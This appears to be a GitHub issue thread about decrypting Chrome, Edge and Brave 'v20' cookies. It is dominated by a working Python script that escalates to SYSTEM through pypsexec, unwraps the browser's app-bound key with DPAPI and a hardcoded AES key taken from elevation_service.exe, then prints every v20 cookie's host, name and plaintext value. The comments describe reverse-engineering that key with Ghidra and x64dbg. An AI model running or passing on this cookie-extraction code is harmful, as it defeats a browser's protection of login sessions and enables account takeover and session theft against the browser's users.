Open thewh1teagle opened 1 month ago
Added support for Brave and Edge
import os
import json
import sys
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES
import sqlite3
import pathlib
BROWSER = "brave" # edge, brave, chrome
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
BROWSERS = {
"chrome": {
"aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=",
"decrypted_key_start_index": -61,
"key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies",
},
"edge": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies",
},
"brave": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies",
}
}
browser = BROWSERS[BROWSER]
key_path = browser['key_path']
db_path = browser['db_path']
with open(key_path, "r") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
c = Client("localhost")
c.connect()
try:
c.create_service()
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key_b64 = binascii.b2a_base64(
binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()
# decrypt with SYSTEM DPAPI
encrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(app_bound_encrypted_key_b64),
use_system_account=True
)
# decrypt with user DPAPI
decrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64.decode().strip()),
use_system_account=False
)
decrypted_key = binascii.a2b_base64(decrypted_key_b64)
finally:
c.remove_service()
c.disconnect()
if browser['aes_key']:
decrypted_key = decrypted_key[browser['decrypted_key_start_index']:]
assert(decrypted_key[0] == 1)
# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
else:
key = decrypted_key[-32:]
print(binascii.b2a_base64(key))
# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2]))
Thanks, I'll look into it later
Another version without need to create service, using Windows API.
what method was used to get the original hardcoded key for aes decryption with chrome? ("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
@runassu
I'd love to hear how you found the hardcoded string or identified the need to switch from SYSTEM to USER with DPAPI. Did you rely solely on static analysis, or did you also debug it at runtime? If so, how did you manage to debug the subprocesses?
If you're unable to share specifics, any related info or even intriguing challenges to help me learn more in this direction would be fantastic. Thanks!
@thewh1teagle @blul1ghtz
In the Chromium source code, you'll find Decrypt using the SYSTEM dpapi store
and Decrypt using the user store
.
The AES decryption step is part of the internal code, so reverse engineering of the release binary file is required.
After understanding the code above, I used Ghidra to locate the PostProcessData
function in elevation_service.exe
, then attached x64dbg to the process for further analysis.
However, if you're open to it, relying solely on static analysis or debugging is sufficient, as this program does not employ obfuscation. If you have experience in reverse engineering cryptographic functions, the characteristics of the AES function are easy to identify.
@runassu I was able to find PostProcessData function but couldn't find a way to extract any value. definitely requires some experience in reverse engineering but thanks for letting us know
@thewh1teagle @blul1ghtz
In the Chromium source code, you'll find
Decrypt using the SYSTEM dpapi store
andDecrypt using the user store
.
- SYSTEM DPAPI Store Decryption
- User Store Decryption
The AES decryption step is part of the internal code, so reverse engineering of the release binary file is required.
- Internal function NOT in source code
- BUILD Script that including internal code
After understanding the code above, I used Ghidra to locate the
PostProcessData
function inelevation_service.exe
, then attached x64dbg to the process for further analysis. However, if you're open to it, relying solely on static analysis or debugging is sufficient, as this program does not employ obfuscation. If you have experience in reverse engineering cryptographic functions, the characteristics of the AES function are easy to identify.
hey thanks for the info, you have really good knowlege in programming and finding how things work out, can i ask you how long did it took you to become this good? and can i also know about how does this pays back to you in life? maybe an estimate of how much you earn or what job do you have and how much it pays you?
i really like to get more advanced in programming as i already am kinda good with python but i have no idea if it worths it if i follow it or what should i expect when i reach your level. thanks a lot if you consider to put the time and answer this, i apperciate it already.
Now we will try to sniff Edge and Yandex Browser for get elevation_keys Will notify you or add PR for it
Brave
Edge
Errors:
When I remove assertion
I think the only things we need is the hardcoded key from
elevation_service.exe
and correct the index of the AES keyhttps://github.com/runassu/chrome_v20_decryption/blob/0d7b40ec835399dcd43113fa62907625e913da08/decrypt_chrome_v20_cookie.py#L49
https://github.com/runassu/chrome_v20_decryption/blob/0d7b40ec835399dcd43113fa62907625e913da08/decrypt_chrome_v20_cookie.py#L58